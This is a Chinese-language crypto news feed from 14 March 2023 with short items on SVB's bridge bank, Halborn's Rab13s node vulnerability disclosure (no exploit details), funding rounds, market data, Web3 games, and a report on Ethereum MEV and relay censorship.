Mayopoulos的电子邮件，邮件中称，该银行不仅照常营业，而且业务正常。据悉，该行的网站已经恢复。新任CEO表示，FDIC将前硅谷银行的存款和资产转移到了“一家新成立的、由FDIC运营的、提供全面服务的过渡银行（bridge bank）”，因而银行业务得以回归，存款人可以全额支取资金，新的和现有存款都受到保护。 Mayopoulos称，客户3月9日或10日所有尚未处理的电汇已被取消。如果需要完成这些交易，就需要重新启动它们。 今日早些时候消息，美联储将对硅谷银行监管进行审查，审查结果将于5月1日前公布；硅谷银行母公司、首席执行官及首席财务官被股东起诉欺诈。 隐私网络Iron Fish将主网发布时间推迟至4月20日 据官方博客，隐私网络Iron Fish宣布主网发布推迟到4月20日，因为测试期间发现一个需要修复的错误，拟在修复后才启动主网。新的空投KYC截至日期是4月14日，空投接收日期为4月21日。 赵长鹏：不会收购加密媒体CoinDesk 针对Blockworks称“币安旗下CoinMarketCap搁置对加密媒体CoinDesk的收购”的报道，币安首席执行官赵长鹏在推特上回应道：“不是‘搁置’。是不买。这可能是一门好生意。但不适合我们的地理覆盖范围。 安全公司：发现影响280多个区块链网络的零日漏洞 区块链安全公司Halborn发文表示，2022年3月，Halborn受聘评估Dogecoin开源代码库是否存在任何可能影响区块链安全的漏洞。在此评估期间，Halborn发现了几个严重且可利用的漏洞，并已由Dogecoin团队修复。然而，经过更广泛的审查后，Halborn确定同样的漏洞影响了280多个其他网络，包括Litecoin和 Zcash，使超过250亿美元的数字资产面临风险。Halborn将此漏洞代号定为Rab13s。 Rab13s漏洞是在受影响网络的p2p消息传递机制中发现的，由于其简单性，它们增加了攻击的可能性。利用此漏洞，攻击者可以向各个节点发送精心制作的恶意共识消息，导致每个节点关闭并最终使网络面临51%攻击和其他严重问题等风险。RPC服务中的第二个漏洞允许攻击者通过RPC请求使节点崩溃。然而，成功的利用需要有效的凭据，这降低了整个网络面临风险的可能性，因为一些节点执行了停止命令。第三个漏洞允许攻击者在用户通过RPC运行节点的上下文中执行代码。但是，这种利用的可能性较低，因为它需要有效的凭据才能执行攻击。 Halborn表示其已为Rab13s开发了一个漏洞利用工具包，其中包括带有可配置参数的概念证明，以演示对不同网络的攻击。所有必要的技术信息都已与确定的利益相关者共享，以帮助他们修复错误，并为社区和矿工发布必要的补丁。对于使用基于UTXO 的节点（例如狗狗币）的项目，建议将所有节点升级到最新版本（1.14.6）。由于问题的严重性，Halborn目前不会发布更多技术或漏洞利用细节。 Houbi韩国更名为“High Block”，正式成为独立的韩国企业 据IT Chosun报道，Houbi韩国今日宣布更名为“High Block”，正式成为独立的韩国企业。 Houbi韩国曾在当时总部位于新加坡的Houbi Global于2017年成立韩国公司后进入韩国。Houbi韩国此前第一大股东是原Houbi Global旗下子公司火币科技（现新火科技），持有约70%的股份。Houbi韩国与其全球母公司之间的关系最近得到了彻底解决。去年12月，Houbi创始人李林卖掉了他在Houbi Global的全部股份，当时的火币科技也卖掉了他在Houbi韩国的股份。 Houbi韩国新的大股东是现有的第二大股东，韩国法人Houbi Blockchain。Houbi韩国的另一大股东是Korea Real Estate Trust，持有Houbi韩国12%的股份。据悉，Houbi韩国仅更改了名称和股东，管理团队和整体管理层不会发生重大变化。 DCG：桑坦德银行、汇丰银行、德意志银行等仍愿为加密公司提供服务 据CoinDesk报道，在硅谷银行、Signature Bank (SBNY) 和 Silvergate倒闭后，Digital Currency Group（DCG）正试图为投资组合公司寻找新的银行合作伙伴。DCG代表还将于周三会见参议院银行委员会工作人员，讨论硅谷银行、Signature和Silvergate的影响。 根据该媒体看到的消息，DCG称，桑坦德银行 (SAN)、汇丰银行 (HSBA)、德意志银行 (DB)、BankProv、Bridge Bank、Mercury、Multis和Series Financial仍愿意与加密公司建立联系。根据这份名单，DCG还与贝莱德(BlackRock)、摩根大通(JPMorgan)和美国银行(Bank of America)进行了接触。 这些消息指出，银行可能会限制加密货币公司的某些服务，例如经纪和货币市场服务，以及向第三方汇款的能力。根据消息，传统银行可能愿意为加密货币公司设立银行账户，但会根据加密货币的敞口水平设置限制。尽管股价下跌，Western Alliance和Bridge Bank仍在为加密公司开设账户。DCG还与国际银行取得了联系，包括英国的Revolut、新加坡的大华银行 (UOB) 和以色列的Bank Leumi。 Coinbase CEO：正在与美国CFTC合作以尽快推出衍生品平台 据Cryptoslate报道，Coinbase首席执行官Brian Armstrong在最近一期Bankless播客采访中表示，Coinbase的质押计划不是证券，因此会在法庭上为质押机制进行辩护并捍卫其权益。此外，Brian Armstrong还透露Coinbase正在考虑选择几种衍生品，该交易所此前一直在和美国商品期货交易委员会（CFTC）合作，以推动其衍生品平台尽快上线运作起来，这也将成为美国加密市场的一件大事。 Sei Network即将启动测试网最终版本Atlantic-2 据官方推特，Layer1公链Sei Network宣布即将启动测试网最终版本 Atlantic-2。Sei Network将该版本视为Sei在主网启动前的最后一个里程碑。 Atlantic-2将采用Sei的Twin Turbo共识、DeliverTx和Enblock并行化以及无许可部署。 其中， Twin Turbo共识具有智能区块传播（Intelligent Block Propagation）和 Optimistic区块处理（Optimistic Block Processing）的特点，使Sei能够比普通的Tendermint更快地广播和处理区块；并行化方面，Sei利用两种不同类型的并行化来进一步改善网络吞吐量和延迟性，其中DeliverTx并行化允许并行化所有类型的交易，而Endblock并行化仅适用于订单交易。 MetaMask发布钱包版本更新，可选择任意RPC提供商（即退出默认的Infura） MetaMask 宣布最近推送了其移动应用程序和浏览器扩展钱包的版本更新，以缩短加载时间并优化钱包体验。更新后，将有更高的透明度和赋予用户更多的控制权。在 MetaMask 扩展钱包新功能中，用户可以在 onboarding 期间选择任意 RPC 提供商，并选择退出默认的 Infura。 去年曾报道，MetaMask将在默认RPC为Infura的情况下收集用户信息。 融资消息 DeFiance Capital完成1亿美元流动性代币基金的首次关闭 据The Block援引消息人士报道，Arthur Cheong的加密投资基金DeFiance Capital筹集了“八位数”资金，完成了新的 1 亿美元流动性代币基金的首次关闭。其中一位消息人士称，虽然这可能意味着 1000 万美元到 9900 万美元之间的任何金额，但去年最初的融资金额不到 5000 万美元。 DWF Labs将购买价值1000万美元的Orbs代币 据The Block报道，加密基础设施开发商 Orbs 将从 DWF Labs 筹集高达 1000 万美元的资金。Orbs 首席执行官 Nadav Shemesh 表示，第一笔总投资于今天结算，其余投资将“随着时间的推移达到平均价格”。有了 DWF 的投资，Orbs 计划继续开发其基础设施以增加在以太坊虚拟机 (EVM) 链和开放网络 (TON) 上的采用率。 数字时尚公司DressX获1500万美元A轮融资 据The Block报道，时尚科技公司 DressX 筹集了 1500 万美元的 A 轮融资，由总部位于柏林的加密货币风险投资公司 Greenfield 领投。该轮融资于 2 月底结束，参与方还包括 Slow Ventures、The Artemis Fund、Red Dao 和 Warner Music等。 虽然其大部分数字时尚产品都是链下的，但该公司已开始通过建立自己的 NFT 市场并通过与交易所 Crypto com 合作来深入研究 web3 。 重要数据 Lido质押总价值突破100亿美元 据Lido官方数据显示，其平台质押总价值已突破100亿美元，本文撰写时达到10,244,294,153美元，其中以太坊质押总价值占据比例最大，当前也超过100亿美元，触及10,075,869,095美元，其次是Polygon，质押价值为93,592,303美元。 此外，Lido平台已支付奖励价值达到461,118,928美元，质押者数量为288,219个。 数据：蔡文胜相关地址昨日以来已将3800枚ETH转入币安 据推特用户余烬监测，美图董事长蔡文胜朋友地址在今日上午和昨天下午一共将3800枚ETH（约627万美元）转入币安，该地址于4天前买入ETH的价格为1431美元。 数据：FTX相关地址将4817万美元转入Alameda，部分已流入币安和Coinbase 据链上观察员@JieData_Com数据监测，今日FTX相关地址（0x77f、0x97f 开头）的资金开始流出，共计4817万美元转入Alameda Research。 其中，0x77f开头地址已转移2854万枚USDC到0x2553开头新地址，转移1962万枚USDT到0xad6开头地址，部分已转入币安和Coinbase。  ( 6 min )
    华尔街日报：美国司法部、美国证交会正在调查硅谷银行倒闭案
    PANews 3月14日消息，据华尔街日报：美国司法部、美国证交会正在调查硅谷银行倒闭案。美国司法部和美国证交会正在调查硅谷银行的信息披露和高管交易方面的情况。  ( 4 min )
    数字时尚公司DressX获1500万美元A轮融资
    PANews 3月14日消息，据The Block报道，时尚科技公司 DressX 筹集了 1500 万美元的 A 轮融资，由总部位于柏林的加密货币风险投资公司 Greenfield 领投。该轮融资于 2 月底结束，参与方还包括 Slow Ventures、The Artemis Fund、Red Dao 和 Warner Music等。 虽然其大部分数字时尚产品都是链下的，但该公司已开始通过建立自己的 NFT 市场并通过与交易所 Crypto.com 合作来深入研究 web3 。  ( 4 min )
    MetaMask发布钱包版本更新，可选择任意RPC提供商（即退出默认的Infura）
    PANews 3月14日消息，MetaMask 宣布最近推送了其移动应用程序和浏览器扩展钱包的版本更新，以缩短加载时间并优化钱包体验。更新后，将有更高的透明度和赋予用户更多的控制权。在 MetaMask 扩展钱包新功能中，用户可以在 onboarding 期间选择任意 RPC 提供商，并选择退出默认的 Infura。 去年曾报道，MetaMask将在默认RPC为Infura的情况下收集用户信息。 相关阅读：以太坊基础设施Infura中心化问题再引争议，我们还有什么替代方案？  ( 4 min )
    Meta：预计将裁员1万人左右，并暂停约5000个职位的招聘
    PANews 3月14日消息，据金十报道，Meta Platforms 表示，预计将裁员1万人左右，并暂停约5000个职位的招聘。预计将在4月下旬宣布技术小组的裁员计划。将进一步削减招聘团队的规模，预计将于5月底宣布商业团队的裁员计划，致力于优化工程师比例。专注于取消重复的、优先级较低的项目。Meta 还称，重组成本约为30亿至50亿美元。 这是该公司在过去6个月中进行的第二轮重大裁员，因其正寻求缩减开支和提高效率。Meta在去年11月裁员1.1万人，当时占其员工总数的13%。 今日早些时候消息称，Meta将终止对NFT的支持，未来将通过其它方式支持NFT创作者。  ( 4 min )
    Unstoppable Domains与Polygon Labs合作创建以.polygon结尾的域名
    PANews 3月14日消息，据The Block报道，Unstoppable Domains 与 Polygon Labs 合作创建了以 .polygon 结尾的域名。这将使任何人都可以更轻松地通过支持该服务的应用程序通过 Polygon 区块链汇款。那些想要使用该服务的人必须从 Unstoppable Domains 购买域名，销售从 3 月 16 日开始。销售后，该公司将出售优质域名，如 gamer.polygon。  ( 4 min )
    Lido质押总价值突破100亿美元
    PANews 3月14日消息，据Lido官方数据显示，其平台质押总价值已突破100亿美元，本文撰写时达到10,244,294,153美元，其中以太坊质押总价值占据比例最大，当前也超过100亿美元，触及10,075,869,095美元，其次是Polygon，质押价值为93,592,303美元。 此外，Lido平台已支付奖励价值达到461,118,928美元，质押者数量为288,219个。  ( 4 min )
    比特币盘中突破2.6万美元，创2022年6月以来新高
    PANews 3月14日消息，行情显示，比特币持续上升，盘中突破2.6万美元，创2022年6月以来新高。 行情波动较大，请投资者注意风险。  ( 4 min )
    比特币突破25000美元，以太坊突破1700美元
    PANews 3月14日消息，行情显示，在美国 CPI 数据公布后，比特币和以太坊短线上涨，比特币突破25000美元/枚，以太坊盘中突破 1700 美元/枚，均创近期新高。  ( 4 min )
    美国2月未季调CPI年率6%，符合预期
    PANews 3月14日消息，据金十报道，美国 2 月未季调 CPI 年率 6%，预期6.0%，前值6.4%。美国 2 月季调后CPI月率 0.4%，预期0.40%，前值0.50%。美国 2 月未季调核心CPI年率 5.5%，预期5.50%，前值5.60%。 美国2月未季调CPI年率录得6%，已连续第八个月下降，为2021年9月以来新低；美国2月季调后CPI月率录得0.4%，为2022年12月以来新低；美国2月未季调核心CPI年率录得5.5%，已连续第六个月下降，为2021年12月来新低。  ( 4 min )
    介绍4款值得关注链游佳作：Symbiogenesis、METAPIXEL、Codename Renegades和AVALON
    出品：深潮 TechFlow 撰文：0xbun 随着 Web3 游戏的兴起，最近越来越多的传统游戏大厂开始涉足 Web3 领域，一个全新的数字游戏生态系统正在迅速形成。 本文将为您介绍最近四款备受关注的 Web3 游戏：SYMBIOGENESIS、METAPIXEL、Codename Renegades 和 AVALON。无论你的偏好是剧情解密、角色扮演、科幻还是 MMORPG，这些游戏总有一款适合你。 SYMBIOGENESIS 是 Square Enix 亲自操刀的 Web3 游戏，作为《最终幻想》开发商，该公司旗下的游戏一向拥有极高的品质和广泛的受众。 根据词根 Symbiotic，该游戏可以译为共生或两个独立的个体融为一体 ，让人联想到 Square Enix 于 1998 年发行的生存恐怖题材动作角色扮演游戏——《寄生前夜》。也许 Symbiogenesis 的游戏内容也会带有一丝经典的日式恐怖。 但 Symbiogenesis 并不是《寄生前夜》的续作。让我们回到它本身，Symbiogenesis 是一个新的 NFT 收藏品艺术项目，它不仅可以用于社交媒体个人资料图片 (PFP​​)，还可以充当玩家在游戏中的楔子，连接玩家与游戏。随着玩家采取的每一个决策和每一个行动，基于 NFT 的更多故事就会由此展开，这个过程被称为“NFT 解锁叙事”。而这一切，可能也就是游戏名字中的“共生”所象征的意义。 根据目前透露的资料，Symbiogenesis 的剧情分为两类——主线剧情和人物剧情，每个章节优先通关的部分玩家能获得后续角色 NFT 的白名单。 这种独特的设计使得每个玩家都能够尽享游戏的核心内容，同时也让持有 NFT 的玩家能够更深入地了解游戏角色和故事背景。 作为一款优质的 Web3 游戏，Symbiogenesis 在其开放性、去中心化和可信任的虚拟经济体系等方面中为我们展示了诸多优点。而传统玩家对于 NFT 和区块链的保留态度却是一个问题。不过，如果能够借助像 Square Enix 这样拥有巨大影响力的 IP 来吸引传统玩家进入 Web3 游戏领域，以此打破口碑壁垒，那么这种新型的游戏生态系统就会拥有越来越多的受众。 Symbiogenesis 是一个积极探索和践行 Web3 游戏的重要尝试，相信它未来的表现将会给玩家带来无限的惊喜和乐趣。 METAPIXEL 是一个雄心勃勃的项目，旨在成为 APTOS 上最顶尖的游戏生态系统。与此同时，METAPIXEL 团队也有着 Web2 游戏大厂背景，其创造者 NPIXEL 曾经是韩国游戏《格兰骑士团》的开发商，拥有非常丰富的游戏开发经验和强大的技术实力。 METAPIXEL 不久前公布了他们 2023 年的游戏阵容： 1.GranSaga: Unlimited GranSaga: Unlimited 是一款基于手游 GRANSAGA IP 的 WEB3 MMORPG，该游戏将在今年下半年正式推出。这款 PC 游戏已经进行了一年以上的开发，预计将与 APTOS 链上的物品交易和游戏内生态系统相结合，以此为玩家带来更加丰富和深入的游戏体验。 2.CATCHA 这是 METAPIXEL 独有的 NFT 收藏品。预计他们将以猫作为主题来制作 PFP NFT，并在 APTOS 链发行。该 NFT 将为用户提供更多样化的个人资料图片选择，以增强游戏社交的互动性。 3.PixelCraft PixelCraft 是 METAPIXEL 提供的沙盒平台，目标是成为测试 GRANSAGA、CATCHA 等各种 APTOS NFT 互操作性的空间。这个平台的开发将对 APTOS 的 DAPP 发展提供重要的驱动力和支持，为玩家带来更加丰富和全面的应用场景。 由于当下 APTOS 生态极度缺乏 DAPP，因此官方可能会给予 NPIXEL 大力支持。由此可见，METAPIXEL 的开发对 APTOS 生态而言具有非常积极的意义——在满足玩家需求的同时，它也将成为 APTOS 生态发展的推动者。 Codename Renegades 是一款充满未来科幻感的 MOBA 类多人游戏。它利用区块链技术，重塑了玩家与经济的关系，让他们以一种全新、实用且有意义的方式参与游戏——即 Play & Own。 在游戏中，玩家和交易者可以利用自己的资产来赚取更多资产，并与其他玩家和交易者交易他们的收入。通过完成每周任务和 PvE 挑战，玩家可以获得游戏的原生代币 $RAC，以此来参与游戏内经济。 然而，该项目最大的创新在于 NFT 皮肤进化系统。在每个 RENEGADES 赛季开始时，游戏商店将提供新的基础 NFT 皮肤，这些皮肤仅在赛季期间可购买，对于每一位游戏爱好者而言，这是一个非常特殊的机会。 玩家可以通过花费一些 $RAC，或从其他玩家及游戏商店购买，来进化这些基础皮肤。这些皮肤只是装饰物品，不会给予玩家任何游戏竞争优势。但它们能够增强或改变玩家在游戏中的体验，使其成为一种真正独特的个性化表达。 Codename Renegades 旨在引领玩家深度参与到这个未来科幻世界中，并享受无限想象力和创造力带来的愉悦。Codename Renegades 也为我们展示了更多的区块链技术和游戏的融合方向。可以预见的是，区块链技术将会在未来的游戏发展中扮演越来越重要的角色。 什么样的 Web3 游戏最吸引人？足够的融资 + 愿景 + 优秀的团队=答案，在今年的新项目中我发现了一个十分匹配该等式的项目——AVALON。 AVALON 已经筹集了 1300 万美元的资金，由 Bitkraft Ventures、Hashed、Delphi Digital 和 Mechanism Capital 领投，Coinbase Ventures、Yield Guild Games、Merit Circle、Avocado Guild 和 Morningstar Ventures 跟投。 Avalon 的联合创始人兼首席执行官 Sean Pinnock，一直梦想着创造一个永远的数字世界，这也是 AVALON 的最终目标——建立一个数字化的、链上的大型多人在线游戏。除此之外，Avalon 还会用这笔钱为整个Web3游戏宇宙建造基础设施，包括解决实时交互、可扩展性和易于人们使用的工具等问题。 有了足够的资金，有了强大的愿景作为方向，那么他的团队阵容如何呢？根据其透露的资料显示，AVALON 团队领导者拥有《使命召唤》、《暗黑破坏神》、《战神》、《刺客信条》和《艾尔登法环》等游戏制作团队背景。凭借在游戏领域全面而广泛的背景，该团队希望来打造一个属于玩家心目中的元宇宙。 不仅如此，来自 Delphi Digital 的 Jeremy Parris 也表示：“很少有公司能够在许多垂直领域拥有远见、领导力和专业知识来制作革命性的游戏和产品。Delphi Digital 相信 AVALON 已经将所有元素结合在一起，并致力于推动游戏标准、元宇宙及其当下正在向前发展的新技术。未来比许多人想象的更近。”  ( 5 min )
    PA图说 | 一图掌握以太坊上NFT关键数据（2023.03.14）
    NFT日报全新升级，增加更多新维度，NFT交易时可更全面细致参考！ PANews APP 2.0全新升级，带你挖掘热门NFT，捕捉参与机会，点击此处下载PANews即可体验。  ( 4 min )
    DWF Labs将购买价值1000万美元的Orbs代币
    PANews 3月14日消息，据The Block报道，加密基础设施开发商 Orbs 将从 DWF Labs 筹集高达 1000 万美元的资金。Orbs 首席执行官 Nadav Shemesh 表示，第一笔总投资于今天结算，其余投资将“随着时间的推移达到平均价格”。有了 DWF 的投资，Orbs 计划继续开发其基础设施以增加在以太坊虚拟机 (EVM) 链和开放网络 (TON) 上的采用率。 相关阅读：Orbs：面向大规模消费者应用的区块链云服务。  ( 4 min )
    欧盟《数据法》下的立法获得通过，将通过智能合约进行监管
    PANews 3月14日消息，据The Block报道，周二，欧洲议会以 500 票赞成、23 票反对通过了《数据法》下的立法。该立法及其关于智能合约的规定并未明确针对加密行业，而是侧重于来自连接设备或物联网的数据。然而，业内一些人担心，如果范围没有明确定义，数据法案可能会对加密产生深远影响，尤其是在智能合约支撑 DeFi 基础设施的情况下。 智能合约属于《数据法》第 30 条的规定，即“关于数据共享智能合约的基本要求”。条款包括“严格的访问控制机制”和集成到智能合约设计中的商业秘密保护。需要有终止或中断交易机制的可能性，立法者需要决定在哪些条件下允许这样做。最重要的是，智能合约将有望面临与通过不同方式生成的任何其他合约相同的“保护水平和法律确定性”。 上月，Circle欧盟事务总监表示，欧洲议会就《欧盟数据法》达成初步协议，其中包括对智能合约的监管。  ( 4 min )
    澳洲国民银行 (NAB)已在以太坊上使用自己的稳定币完成一笔跨境交易
    PANews 3月14日消息，据Blockworks报道，澳大利亚“四大”银行之一的澳洲国民银行（National Australia Bank）表示已经通过以太坊使用自己的稳定币完成了第一笔银行内跨境交易。该交易是澳洲国民银行对澳元支持的稳定币试点的一部分，涉及为七种主要全球货币部署稳定币智能合约。数字资产基础设施提供商 Fireblocks 和金融科技平台 Blockfold 将协助进行智能合约事宜，直接托管代币以及铸造和销毁。 澳洲国民银行打算发行代码为“AUDN”的稳定币，这将作为其账簿上的一项负债进行管理。该公司计划进一步支持澳元、新西兰元、新加坡元和美元以及欧元、日元和英镑的交易。  ( 4 min )
    探索以太坊区块空间的收益机会
    “区块空间”正在成为加密货币的基石，而比特币和以太坊是其中的领头羊。尽管以太坊的通货紧缩路径受到了其社区粉丝们的赞赏，但实际上，可用性才是影响以太坊未来发展的关键。为了确保以太坊的成功，它必须不断扩展，同时优先考虑用户体验。因此，将费用控制在合理范围内是必要的，但更快的扩展速度才是最终的目标，这将是推动以太坊价格飙升的关键。 在本期Bing Ventures专题报告中，我们将探索以太坊区块空间的收益机会，并分析其对整个以太坊生态系统的影响。 在以太坊的早期阶段，大多数区块生产者都是独立的个人或小团体，他们使用个人电脑或小型服务器来运行以太坊节点并提供计算能力。这些区块生产者称为矿工，他们负责使用挖矿软件来尝试解决难题，并通过解决难题来生成新的区块。矿工有机会获得生产新区块的奖励，这个奖励包括新发行的ETH和交易费用。 随着以太坊网络的发展，区块生产者的角色发生了变化。许多矿工开始使用专业级矿机来提高挖矿效率，并开始将矿机集群在大型数据中心内以获得更好的带宽。这导致了矿工之间竞争的加剧，并导致了对计算资源和电力的需求增加。 在 PoS（Proof of Stake）中，区块中的角色重心再次有所变化。以太坊PoS是一种新型的共识机制。它允许网络中的节点参与共识机制，保护其中的数据不受篡改，而且可以更有效地分配资源，提高整体的效率。 Source: DeFiLlama 矿工经济 PoS和PoW（Proof of Work）是两种不同的共识机制。PoW系统下，矿工可以获得挖矿奖励。而在PoS系统下，矿工无法获得挖矿奖励，而是通过存款奖励来支付给矿工。随着以太坊转向PoS，矿工收入将会发生巨大变化。 第一，由于PoS不需要矿工投入大量算力，所以不需要矿工购买昂贵的矿机，因此矿工收入将会大幅度减少。第二，在PoS系统下，矿工收入主要来自于存款奖励，而不是挖矿收入，这意味着矿工收入将会变得不稳定。第三，在PoS系统下，PoS节点运营者将有机会获得更多的收入，这也意味着矿工的收入将会相对变少。 在以太坊合并之前，矿工的收入主要来自于区块奖励和交易手续费。随着EIP1559的实施，交易手续费部分发生了变化，其中一部分手续费将被烧毁，导致矿工收入的减少。此外，随着以太坊从PoW向PoS的转变，矿工不再需要消耗大量的电力来挖掘以太坊，因此矿工的成本也会降低。但是，对于那些继续运行PoW节点的矿工来说，他们需要面对越来越激烈的竞争，因为他们将与越来越少的PoW节点竞争以获得区块奖励和交易手续费。 与此同时，区块空间需求的爆发推高了平均gas费用，这创造了一个原始的以太坊净供应紧缩期。然而，随着拥堵的消除和费用的降低，以太坊的总体供应量继续增加。通过合并实现的PoS机制大幅减少了以太坊的净发行量，为以太坊供应的通缩创造了条件。 Source: Dune 验证者经济 在 PoS 中，验证者经济正在取代矿工经济。验证者负责验证新交易并将其添加到区块链中。与 PoW 不同，PoS 不需要验证者通过解决计算难题来生产区块，而是根据验证者所拥有的以太坊代币数量（称为质押）来选择验证者。这意味着，拥有更多以太坊代币的验证者更加拥有话语权。 此外，PoS 还引入了新的激励机制，以鼓励验证者继续参与共识过程。在 PoS 中，验证者可以获得生产区块的手续费作为奖励。这与 PoW 不同，在 PoW 中矿工只能获得新挖掘的以太坊代币作为奖励。区块空间角色的变化包括两个方面：一是以太坊区块空间本身的改进；二是区块生态的新功能和新角色的发展。 Source: Attestant 以太坊区块的角色重心已经发生了很大的变化，从以前的简单的区块链节点发展到今天的包括验证、存储、支持和维护等一系列功能的完整区块链节点。这一发展使得以太坊区块空间的参与者拥有了更多的责任和义务，同时也带来了更多的激励和收益机会。 另外，以太坊区块的生态还在不断发展，包括更多的开发者和资本参与，以及更多的社区活动。随着以太坊开发人员社区的参与度提高，区块生产者的角色也在不断发展，从纯粹的区块生产者变成了参与投票、贡献代码、参与社区活动等多种角色。 MEV（Maximal Extractable Value）是指在PoS下，验证者通过添加、删除并更改区块中的交易顺序，在超过标准区块奖励和 gas 费用的区块生产中所能提取的最大价值。现在MEV一般指最大交易可提取价值。在以太坊网络中，MEV的生态系统包括搜索者、建造者和中继器。搜索者运行MEV策略，并将交易序列发送给建造者。建造者从搜索者和其他来源汇总交易来构建区块，并将最赚钱的区块通过中继器传递给提案者。中继器从建造者那里接收区块并将其发送给提案者。在此过程中，搜索者需要信任建造者不会偷窃或前置交易；建造者需要信任中继器传递最赚钱的区块，并且希望连接到有多个验证者连接的中继器；中继器需要准确评估并发送最赚钱的区块，并且需要保证付款。 MEV在以太坊PoS生态中具有重要的作用，能够提高DeFi高效率，依靠Searcher能够迅速扳平价差。由于MEV是丰厚的收益来源，也是维护区块链系统的动力。理论上来说，链上交易越活跃，MEV的上限就越高。以太坊合并后，MEV对验证者的吸引力很大。除了更高的最低质押收益率外，验证者可以获得相当可观的收益，目前最高的MEV-Boost验证者奖励由Lido获得。自合并后，MEV-Boost已经迅速得到了广泛的采用，近90%的验证者已经在运行它。 Source: Dune 在合并升级后，大多数MEV收入开始流入验证者手中，因为他们取代了矿工成为网络的核心。也就是说，以太坊区块空间内的用户只要通过DApps进行交易，它的价值就会被验证者等这样的角色捕获。在长期来看，以太坊将实现分片技术，中继器将不再需要。MEV-Boost使得验证者可以通过向开放和竞争性的区块建造市场出售其区块空间来最大化他们的质押奖励。对于像Lido这样的大型质押提供者来说，这意味着更稳定的质押收益。MEV-Boost由Flashbots与以太坊核心开发人员合作构建，是一种软件，使验证者能够连接到多个链下市场进行拍卖区块空间。通过这种中继模式，验证者会收到包含优先费和由第三方区块构建者构建的 MEV 的区块。 MEV和以太坊区块之间有着十分紧密的联系。以太坊转向PoS之后，随着成为验证者的过程变得更加民主化，从而获得MEV的门槛进一步降低。在以太坊进一步通缩以及验证者收益提升的前提下，MEV的吸引力大大增强。从哲学层面上来看，MEV充当着用户和以太坊网络之间的价值转移层。 MEV本身是一个零和游戏。从重新排序交易中提取价值的机会有限，识别 MEV 机会的最快搜索者通常是赚取最多 MEV 的搜索者。为了最大化收益，彼此竞争的搜索者会编写脚本来自动执行利用易于识别的MEV机会的任务。此外，搜索者可以运行专用硬件或订阅付费服务，这些服务提供以太坊内存池的低延迟视图，以更快地利用待处理的用户交易。 为了超越其他搜索者，经验丰富且经验丰富的搜索者可能会部署复杂的策略，包括多个代币交换、机器人和通过链上活动进行手动搜索，以实现更高的利润。这就变相导致了MEV的参与者不得不专业起来，因而对于普通的以太坊用户来说，他们天然地被挡在了MEV的门外。 此外，有时MEV很影响用户体验，例如被攻击的用户会面临更高的滑点和更差的用户体验，且由于gas priority fee的存在，searcher有时会大幅拉升gas，导致网络拥堵。质押 ETH 的丰厚收益使大型的流动性质押服务提供商在MEV采用方面比个人质押者和常规质押池具有更大的规模优势，也就是所谓的“赢家通吃”。 Source: Bing Ventures 在中心化交易所之外，唯一最适合作为质押池竞争的其他实体是向用户提供流动性质押衍生品（LSD）的服务，而在那些为用户提供LSD的服务协议中，因此在不久的将来LSD协议拥有最高的DeFi市场深度。MEV的吸引力将导致大型质押池的“赢家通吃”，反而加剧了验证者的中心化。 从理论角度来看，MEV 市场的理想状态是一种健康的充分竞争格局。 在这种状态下，MEV 市场将竞争激烈，多家供应商竞相提供最好的服务和价格。 这将为所有参与者创造一个公平的竞争环境，使他们能够从最具竞争力的条款中受益。 但实际上，以太坊过渡到 PoS 后， 谁可以产生最多的Gas，谁就拥有了以太坊的一切。以太坊的区块链网络不再由普通的矿工来验证和记录交易，而是由更加特殊的节点，称为验证节点（validators），来负责这一工作。转变之后，以太坊的区块链网络将更加关注交易费（transaction fee），而不是挖矿费（mining fee），这也意味着交易费的收入将成为验证节点最主要的收入来源。因此，在PoS机制下，很大程度会出现MEV垄断，即某些特定的节点可以拥有足够大的权力，从而获取更多的交易费。 Source: Bing Ventures 以太坊合并后的MEV竞争格局主要由几个区块构建者组成，目前市场主要由五个构建者主导，但近期出现了一些新的构建者，如builder0x69、beaverbuild和0x4737等。Flashbots是其中最大的构建者之一，它运行自己的构建器和中继，并已开源其构建器以鼓励竞争。其他构建者如bloXroute、Eden、sendbundle.eth和Manifold也在竞争中占有一定份额。这些构建者之间存在竞争和合作，他们为了获得更多的订单流量，采取不同的策略，如降低利润、提供回扣、竞争执行保证等。目前还没有出现垄断的构建者，因此未来如何平衡MEV的收益将是一个关键问题。 MEV 市场应该具有高度的安全性和弹性，使其成为对投资者和交易者具有吸引力的选择。 所有交易都将在以太坊区块链上安全结算，市场将通过多种安全措施保护市场免受恶意行为者的侵害，包括可编程隐私交易、抢跑及服务 Front Running as a Service（FRaaS）、公允排序服务 Fair Sequencing Services（FSS）、提案者、构建者分离 Proposer Builder Separation（PBS）等。MEV正成为投资者在以太坊上可以实现的一种投资策略，未来它可以从LSD等衍生品市场获得较高的收益，而且不受以太坊网络的拥堵影响，也不受投资者自身技术水平的限制。 从长期来看，以太坊区块空间的利益格局似乎已经开始僵化。在PoS共识机制下，验证者的存在感开始超过矿工。验证者可以在质押中赚钱，而且验证者的质押量越多，他们的报酬就会越多。验证者的质押量也可以影响其在网络中的权力，因此他们有动力去质押越多的以太坊代币，以便获得更多的报酬。 以太坊区块空间的审查问题主要表现为信号干扰和审查节点的存在。其中，Flashbots Relay是当前使用最广泛的审查节点。此外，还存在其他审查节点，如Bloxroute的“Regulated” Relay等。这些审查节点导致不少区块对用户交易进行了审查。此问题的根本原因是在以太坊区块空间中，Flashbots Relay等审查节点在MEV供应链上的过度依赖，使其容易受到监管的限制和控制。 Source: relayscan.io 目前，针对审查问题已经出现了一些解决方案，例如推出非审查节点，如Gnosis、Ultrasound Money和Builder 0x69等，以提高以太坊的审查抗性。然而，Flashbots Relay的主导地位并未明显下降，因为自其推出以来，Flashbots Relay一直保持着接近完美的正常运行记录，并拥有免费、无需白名单连接的特点。这些优势使其成为了众多验证器和建造者信任的审查节点之一。 在以太坊区块空间中，稳定性是审查节点最重要的竞争特点之一。因此，随着Flashbots Relay的稳定运行时间越来越长，它将越来越成为所有验证器信任并使用MEV-Boost连接的审查节点之一。目前，Flashbots和bloXroute等公司在建造者市场中占据着重要地位，但市场开始趋于多元化。然而，中继市场仍被Flashbots垄断，这引发了对中继审查制度的担忧。中继的审查制度可能会导致区块被篡改，因此建造者希望将自己的出价传递给能够连接到最多验证者的中继。同时，验证者也会寻求连接到最有利可图的建造者和能够准确支付利润的中继。因此，Flashbots成为了大部分建造者和验证者的首选。但这也导致了越来越多的区块被审查的隐患。 